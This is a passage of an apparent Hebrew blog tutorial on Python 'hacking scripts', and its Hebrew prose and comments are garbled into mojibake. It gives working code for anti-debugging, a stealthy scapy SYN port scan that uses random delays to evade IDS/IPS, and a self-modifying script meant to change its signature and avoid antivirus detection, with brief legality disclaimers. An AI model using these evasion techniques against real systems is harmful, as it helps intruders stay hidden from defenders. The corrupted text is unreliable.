  • ื”ืงืฉื” ืขืœ ืขื‘ื•ื“ืชื ืฉืœ ืžื ืชื—ื™ ืงื•ื“ ื•ื”ื ื“ืกื” ื”ืคื•ื›ื”.

๐Ÿ“š ืœืžื™ื“ืข ื ื•ืกืฃ ืขืœ ื”ืฉื™ื˜ื” ื ื™ืชืŸ ืœืขื™ื™ืŸ ื‘ืชื™ืขื•ื“ ืฉืœ ืกืคืจื™ื™ืช Cryptography.

ืื ื˜ื™-ื“ื™ื‘ืื’ื™ื ื’ (Anti-debugging)
ื›ื“ื™ ืœื”ื’ืŸ ืขืœ ืกืงืจื™ืคื˜ ืžื ื™ืชื•ื— ืื• ื”ื ื“ืกื” ื”ืคื•ื›ื”, ื ื™ืชืŸ ืœืžืžืฉ ืžื ื’ื ื•ืŸ ืื ื˜ื™-ื“ื™ื‘ืื’ื™ื ื’ โ€” ื–ื•ื”ื™ ืฉื™ื˜ื” ื”ืžืืคืฉืจืช ืœื–ื”ื•ืช ื ื•ื›ื—ื•ืช ืฉืœ ื“ื™ื‘ืื’ืจ (debugger) ื•ืœื”ื’ื™ื‘ ืœื›ืš (ืœืžืฉืœ, ืœืฉื ื•ืช ืืช ืœื•ื’ื™ืงืช ื”ื”ืชื ื”ื’ื•ืช ืฉืœ ื”ืกืงืจื™ืคื˜ ืื• ืœืกื™ื™ื ืืช ื‘ื™ืฆื•ืขื•).

๐Ÿ”ง ืื™ืš ืขื•ื‘ื“ ืื ื˜ื™-ื“ื™ื‘ืื’ื™ื ื’:

  1. ื‘ื“ื™ืงืช ืกื‘ื™ื‘ื”. ื”ืกืงืจื™ืคื˜ ื™ื›ื•ืœ ืœื—ืคืฉ ืกื™ืžื ื™ ื“ื™ื‘ืื’ื™ื ื’, ืœืžืฉืœ, ืคืขื™ืœื•ืช ืฉืœ sys.gettrace().
  2. ืฉื™ื ื•ื™ ื”ืชื ื”ื’ื•ืช. ืื ื–ื•ื”ื” ื“ื™ื‘ืื’ื™ื ื’, ื”ืชื•ื›ื ื™ืช ื™ื›ื•ืœื” ืœืกื™ื™ื ืืช ื‘ื™ืฆื•ืขื”, ืœื”ื•ืกื™ืฃ ื”ืฉื”ื™ื”, ืื• ืœืฉื ื•ืช ืืช ืœื•ื’ื™ืงืช ื”ืขื‘ื•ื“ื” ื›ื“ื™ ืœื‘ืœื‘ืœ ืืช ื”ืžื ืชื—.
import sys
import time

def anti_debug():
    # ื‘ื“ื™ืงื”: ืื ื™ืฉ ื“ื™ื‘ืื’ืจ, gettrace() ื™ื—ื–ื™ืจ ืขืจืš ืฉืื™ื ื• None
    if sys.gettrace() is not None:
        print("ื–ื•ื”ื” ื“ื™ื‘ืื’ืจ! ืžืกื™ื™ื ืคืขื•ืœื” ืœื”ื’ื ื”.")
        time.sleep(2)
        sys.exit()  # ื™ืฆื™ืื” ืžื”ืชื•ื›ื ื™ืช

if __name__ == '__main__':
    anti_debug()
    print("ืœื ื–ื•ื”ื” ื“ื™ื‘ืื’ืจ. ืžืžืฉื™ืš ื‘ื‘ื™ืฆื•ืข...")

โš ๏ธ ื—ืฉื•ื‘:

  • ื™ืฉ ืœื”ืฉืชืžืฉ ื‘ืฉื™ื˜ื•ืช ื›ืืœื” ื‘ืื•ืคืŸ ืืชื™ ื•ืจืง ื‘ืชื ืื™ื ืžื‘ื•ืงืจื™ื, ืœืžืฉืœ:
    • ื‘ื™ื™ืฉื•ืžื™ื ืžืกื—ืจื™ื™ื ืœื”ื’ื ื” ืขืœ ืจื™ืฉื™ื•ื ื•ืช.
    • ื‘ืžืขืจื›ื•ืช ืฉื‘ื”ืŸ ื—ืฉื•ื‘ ืœืžื ื•ืข ื”ืชืขืจื‘ื•ืช ื‘ืœื•ื’ื™ืงื”.

ืกืจื™ืงืช ืจืฉืช ื—ืฉืื™ืช
ื‘ื•ื“ืงื™ ื—ื“ื™ืจื•ืช ืฆืจื™ื›ื™ื ืœืขื™ืชื™ื ืงืจื•ื‘ื•ืช ืœืกืจื•ืง ืจืฉืช ื‘ื—ืฉืื™ื•ืช, ื›ื“ื™ ืœื ืœืžืฉื•ืš ืืช ืชืฉื•ืžืช ืœื‘ืŸ ืฉืœ ืžืขืจื›ื•ืช ื–ื™ื”ื•ื™ ืคืจื™ืฆื•ืช. ืœืžื˜ืจื•ืช ืืœื• ื ื™ืชืŸ ืœื›ืชื•ื‘ ืกื•ืจืง ื—ืฉืื™ ืžืฉืœื›ื ื‘ืคื™ื™ืชื•ืŸ, ืฉื™ื“ืžื” ื”ืชื ื”ื’ื•ืช ืฉืœ ืžืฉืชืžืฉื™ื ืจื’ื™ืœื™ื ื•ืœื ื™ืขื•ืจืจ ื—ืฉื“.

๐Ÿ”ง ืื™ืš ืขื•ื‘ื“ืช ืกืจื™ืงื” ื—ืฉืื™ืช:

  1. ื™ืฆื™ืจืช ื—ื‘ื™ืœื•ืช "ืœื’ื™ื˜ื™ืžื™ื•ืช". ื‘ืืžืฆืขื•ืช ืกืคืจื™ื™ืช scapy ื ื™ืชืŸ ืœื™ืฆื•ืจ ื—ื‘ื™ืœื•ืช ืจืฉืช ืฉื ืจืื•ืช ื›ืžื• ืชืขื‘ื•ืจื” ืจื’ื™ืœื”. ืœื“ื•ื’ืžื”, ื—ื‘ื™ืœื•ืช SYN, ื›ืžื• ื‘ื—ื™ื‘ื•ืจ ืกื˜ื ื“ืจื˜ื™ ืœืฉืจืช.
  2. ื”ืฉื”ื™ื” ืืงืจืื™ืช. ื”ื•ืกืคืช ื”ืคืกืงื•ืช ืืงืจืื™ื•ืช ื‘ื™ืŸ ื”ื‘ืงืฉื•ืช ื”ื•ืคื›ืช ืืช ื”ื”ืชื ื”ื’ื•ืช ืœื“ื•ืžื” ืœืคืขื•ืœื•ืช ืื“ื, ื•ืœื ืžื›ื•ื ื”. ื–ื” ืขื•ื–ืจ ืœืขืงื•ืฃ ืžืขืจื›ื•ืช ื–ื™ื”ื•ื™ ืื•ื˜ื•ืžื˜ื™ื•ืช.
from scapy.all import IP, TCP, sr1
import random
import time

def stealth_port_scan(target_ip, port):
    # ืฆื•ืจ ื—ื‘ื™ืœืช SYN (ื›ืื™ืœื• ืจื•ืฆื™ื ืœื™ืฆื•ืจ ื—ื™ื‘ื•ืจ TCP)
    packet = IP(dst=target_ip)/TCP(dport=port, flags="S")

    # ืฉืœื— ืืช ื”ื—ื‘ื™ืœื” ื•ื”ืžืชืŸ ืœืชืฉื•ื‘ื”
    response = sr1(packet, timeout=1, verbose=0)

    # ื‘ื“ื•ืง: ืื ื“ื’ืœ ื”ืชืฉื•ื‘ื” ื”ื•ื SYN-ACK (0x12), ืื– ื”ืคื•ืจื˜ ืคืชื•ื—
    if response and response.haslayer(TCP) and response[TCP].flags == 0x12:
        print(f"ืคื•ืจื˜ {port} ื‘-{target_ip} โ€” ืคืชื•ื—.")
    else:
        print(f"ืคื•ืจื˜ {port} ื‘-{target_ip} โ€” ืกื’ื•ืจ ืื• ืžืกื•ื ืŸ.")

if __name__ == '__main__':
    target = "192.168.1.1" # ื”ื—ืœืฃ ื‘ืžื˜ืจื” ืฉืืชื” ืžื•ืจืฉื” ืœืกืจื•ืง
    # ื‘ื“ื•ืง 5 ืคื•ืจื˜ื™ื ืืงืจืื™ื™ื ืž-20 ืขื“ 1024
    for port in random.sample(range(20, 1024), 5):
        stealth_port_scan(target, port)
        time.sleep(random.uniform(0.5, 2))  # ื”ืคืกืงื” ืืงืจืื™ืช ื‘ื™ืŸ ืกืจื™ืงื•ืช

โ„น๏ธ ืกืจื™ืงื” ื—ืฉืื™ืช ืžืฉืžืฉืช ืœ:

  • ื‘ื“ื™ืงืช ืื‘ื˜ื—ืช ืจืฉืช ื“ื™ืกืงืจื˜ื™ืช.
  • ืขืงื™ืคืช ืžืขืจื›ื•ืช IDS/IPS ืฉืขื•ืงื‘ื•ืช ืื—ืจ ืคืขื™ืœื•ืช ื—ืฉื•ื“ื”.
  • ืื™ืกื•ืฃ ืžื™ื“ืข ืœืœื ืกื™ื›ื•ืŸ ืœื—ืกื™ืžื”.

โš ๏ธ ื—ืฉื•ื‘ ืœื”ืฉืชืžืฉ ื‘ืกื•ืจืงื™ื ื›ืืœื” ืจืง ืœืžื˜ืจื•ืช ื—ื•ืงื™ื•ืช, ืœืžืฉืœ, ื‘ืžืกื’ืจืช ื‘ื“ื™ืงื•ืช ื—ื“ื™ืจื•ืช ื‘ืื™ืฉื•ืจ ื‘ืขืœ ื”ืจืฉืช.

๐Ÿ ืกืคืจื™ื™ืช ื”ืคื™ื™ืชื•ื ื™ืกื˜
ื—ื•ืžืจื™ื ืฉื™ืžื•ืฉื™ื™ื ื ื•ืกืคื™ื ืชืžืฆืื• ื‘ืขืจื•ืฅ ื”ื˜ืœื’ืจื ืฉืœื ื• "ืกืคืจื™ื™ืช ื”ืคื™ื™ืชื•ื ื™ืกื˜".

ืžื•ื˜ืฆื™ื” ืื•ื˜ื•ืžื˜ื™ืช
ื›ื“ื™ ืœืขืงื•ืฃ ืžืขืจื›ื•ืช ื–ื™ื”ื•ื™ ื”ืžื‘ื•ืกืกื•ืช ืขืœ ื—ืชื™ืžื•ืช (ืื ื˜ื™-ื•ื™ืจื•ืกื™ื ืื• ืžืขืจื›ื•ืช ื ื™ื˜ื•ืจ ืงื•ื“), ื ื™ืชืŸ ืœื›ืชื•ื‘ ืกืงืจื™ืคื˜ ืฉื™ืฉื ื” ืืช ืขืฆืžื• ืœืคื ื™ ื›ืœ ื”ืจืฆื”. ื˜ื›ื ื™ืงื” ื–ื• ื ืงืจืืช ืžื•ื˜ืฆื™ื” โ€” ื”ื™ื ื”ื•ืคื›ืช ืืช ื”ืกืงืจื™ืคื˜ ืœืžื˜ืจื” ื ืขื”, ืงืฉื” ืœื–ื™ื”ื•ื™ ื•ื ื™ืชื•ื—.

๐Ÿ”ง ืื™ืš ืขื•ื‘ื“ืช ืžื•ื˜ืฆื™ื”:

  1. ืฉื™ื ื•ื™ ืงื•ื“ ื”ืžืงื•ืจ. ื”ืกืงืจื™ืคื˜ ืงื•ืจื ืืช ื”ืงื•ื“ ืฉืœ ืขืฆืžื•, ืžื‘ืฆืข ืฉื™ื ื•ื™ื™ื ืืงืจืื™ื™ื ืงืœื™ื (ืœืžืฉืœ, ืžืฉื ื” ื”ืขืจื•ืช ืื• ืฉืžื•ืช ืžืฉืชื ื™ื), ื•ืื– ืฉื•ืžืจ ืืช ืขืฆืžื• ื‘ื—ื–ืจื”.
  2. ืฉื™ื ื•ื™ ื˜ื‘ื™ืขืช ื”ืืฆื‘ืข ื”ื“ื™ื’ื™ื˜ืœื™ืช. ืฉื™ื ื•ื™ื™ื ืงืœื™ื ืืœื” ืื™ื ื ืžืฉืคื™ืขื™ื ืขืœ ืœื•ื’ื™ืงืช ื”ืชื•ื›ื ื™ืช, ืืš ืžืฉื ื™ื ืืช ื—ืชื™ืžืช ื”ืงื•ื‘ืฅ (ืืช "ื˜ื‘ื™ืขืช ื”ืืฆื‘ืข" ืฉืœื•), ืžื” ืฉืžืงืฉื” ืขืœ ื–ื™ื”ื•ื™ื• ืœืคื™ ืชื‘ื ื™ืช.
import os
import random
import inspect # ื ื—ื•ืฅ ื›ื“ื™ ืœืงื‘ืœ ืืช ื ืชื™ื‘ ื”ืงื•ื‘ืฅ ื”ื ื•ื›ื—ื™ ื‘ืื•ืคืŸ ืืžื™ืŸ

def mutate_script(filename):
    with open(filename, 'r') as file:
        lines = file.readlines()

    # ืฉื ื” ื‘ืื•ืคืŸ ืืงืจืื™ ืฉื•ืจื•ืช ืขื ื”ืขืจื•ืช
    for i, line in enumerate(lines):
        if line.strip().startswith("#") and random.choice([True, False]):
            lines[i] = f"# Mutation {random.randint(1, 1000)}: {line.lstrip('# ')}\n" # ืฉืžื•ืจ ืขืœ ื˜ืงืกื˜ ื”ื”ืขืจื” ื”ืžืงื•ืจื™, ื”ื•ืกืฃ ื™ืจื™ื“ืช ืฉื•ืจื”

    with open(filename, 'w') as file:
        file.writelines(lines)
    print("ื”ืกืงืจื™ืคื˜ ืขื‘ืจ ืžื•ื˜ืฆื™ื” ื‘ื”ืฆืœื—ื”.")

if __name__ == '__main__':
    # ืฉื™ืžื•ืฉ ื‘-inspect ืืžื™ืŸ ื™ื•ืชืจ ืœืžืฆื™ืืช ื ืชื™ื‘ ื”ืกืงืจื™ืคื˜ ืขืฆืžื•
    current_file = inspect.getframeinfo(inspect.currentframe()).filename
    mutate_script(current_file)
    # ื”ืกืงืจื™ืคื˜ ืžืžืฉื™ืš ืœืจื•ืฅ ืœืื—ืจ ืžื•ื˜ืฆื™ื” ื‘ื“ื•ื’ืžื” ื–ื•
    print("ื”ืกืงืจื™ืคื˜ ืฉืขื‘ืจ ืžื•ื˜ืฆื™ื” ืžืจื™ืฅ ื›ืขืช ืืช ื”ืœื•ื’ื™ืงื” ื”ืžืงื•ืจื™ืช ืฉืœื•.")

โ„น๏ธ ืกืงืจื™ืคื˜ื™ื-ืžื•ื˜ื ื˜ื™ื ื™ื•ืขื™ืœื• ืœ:

  • ื”ื™ืžื ืขื•ืช ืžื ื™ืชื•ื— ืกื˜ื˜ื™ โ€” ืžื•ื˜ืฆื™ื” ืขื•ื–ืจืช ืœืขืงื•ืฃ ืžืขืจื›ื•ืช ืฉืžื—ืคืฉื•ืช ืชื‘ื ื™ื•ืช ื™ื“ื•ืขื•ืช ืฉืœ ืงื•ื“ ื–ื“ื•ื ื™.
  • ื”ื’ื ื” ื“ื™ื ืžื™ืช โ€” ื”ืงื•ื“ ื™ื™ืจืื” ืฉื•ื ื” ื‘ื›ืœ ื”ืจืฆื”, ื•ื–ื” ื™ืขื–ื•ืจ ืœื”ืชืžื•ื“ื“ ืขื ื ื™ืกื™ื•ื ื•ืช ื ื™ืชื•ื— ื™ื“ื ื™.
  • ื‘ื“ื™ืงื•ืช ื—ื“ื™ืจื•ืช โ€” ื ื™ืชืŸ ืœื”ืฉืชืžืฉ ื›ื“ื™ ืœื‘ื“ื•ืง ื›ื™ืฆื“ ืžืขืจื›ืช ืžื’ื™ื‘ื” ืœืงื•ื“ ืžืฉืชื ื”.

โš ๏ธ ื—ืฉื•ื‘:

  • ืกืงืจื™ืคื˜ื™ื-ืžื•ื˜ื ื˜ื™ื ืžืฉืžืฉื™ื ืœืขื™ืชื™ื ืงืจื•ื‘ื•ืช ื‘ืชื•ื›ื ื•ืช ื–ื“ื•ื ื™ื•ืช, ืืš ื ื™ืชืŸ ืœื”ืฉืชืžืฉ ื‘ื”ื ื’ื ื‘ืื•ืคืŸ ืืชื™, ืœืžืฉืœ:
    • ื‘ืขืช ื‘ื“ื™ืงืช ืื ื˜ื™-ื•ื™ืจื•ืกื™ื ืื• IDS.
    • ืœื”ื’ื ื” ืขืœ ืงื ื™ื™ืŸ ืจื•ื—ื ื™.
    • ืœื™ืฆื™ืจืช ืกืงืจื™ืคื˜ื™ื ืฉืžืชืงื ื™ื ืืช ืขืฆืžื ื‘ืกื‘ื™ื‘ื•ืช ื‘ื“ื™ืงื”.

ืœืกื™ื›ื•ื
ื ื™ืกื•ื™ื™ื ืขื ืกืงืจื™ืคื˜ื™ื ื”ืืงื™ื ื’ ื™ืขื–ืจื• ืœืฉืคืจ ืžื™ื•ืžื ื•ื™ื•ืช ืชื›ื ื•ืช ื•ื”ื‘ื ื” ืฉืœ ื”ืฉื™ื˜ื•ืช ื‘ื”ืŸ ืžืฉืชืžืฉื™ื ื‘ื•ื“ืงื™ ื—ื“ื™ืจื•ืช ืžื ื•ืกื™ื ื•ืžื•ืžื—ื™ ืื‘ื˜ื—ื”. ื—ืฉื•ื‘ ืœื–ื›ื•ืจ ืฉื ื™ืชืŸ ืœื™ื™ืฉื ื˜ื›ื ื™ืงื•ืช ื›ืืœื” ืจืง ื‘ืžื›ื•ื ื•ืช ื•ื™ืจื˜ื•ืืœื™ื•ืช ืื• ื‘ืกื‘ื™ื‘ื” ืžื‘ื•ืงืจืช ื•ืขื ืื™ืฉื•ืจ ืžืชืื™ื ืžืžื ื”ืœ ื”ืžืขืจื›ืช.


ื›ืชื™ื‘ืช ืชื’ื•ื‘ื”

ื”ืื™ืžื™ื™ืœ ืœื ื™ื•ืฆื’ ื‘ืืชืจ. ืฉื“ื•ืช ื”ื—ื•ื‘ื” ืžืกื•ืžื ื™ื *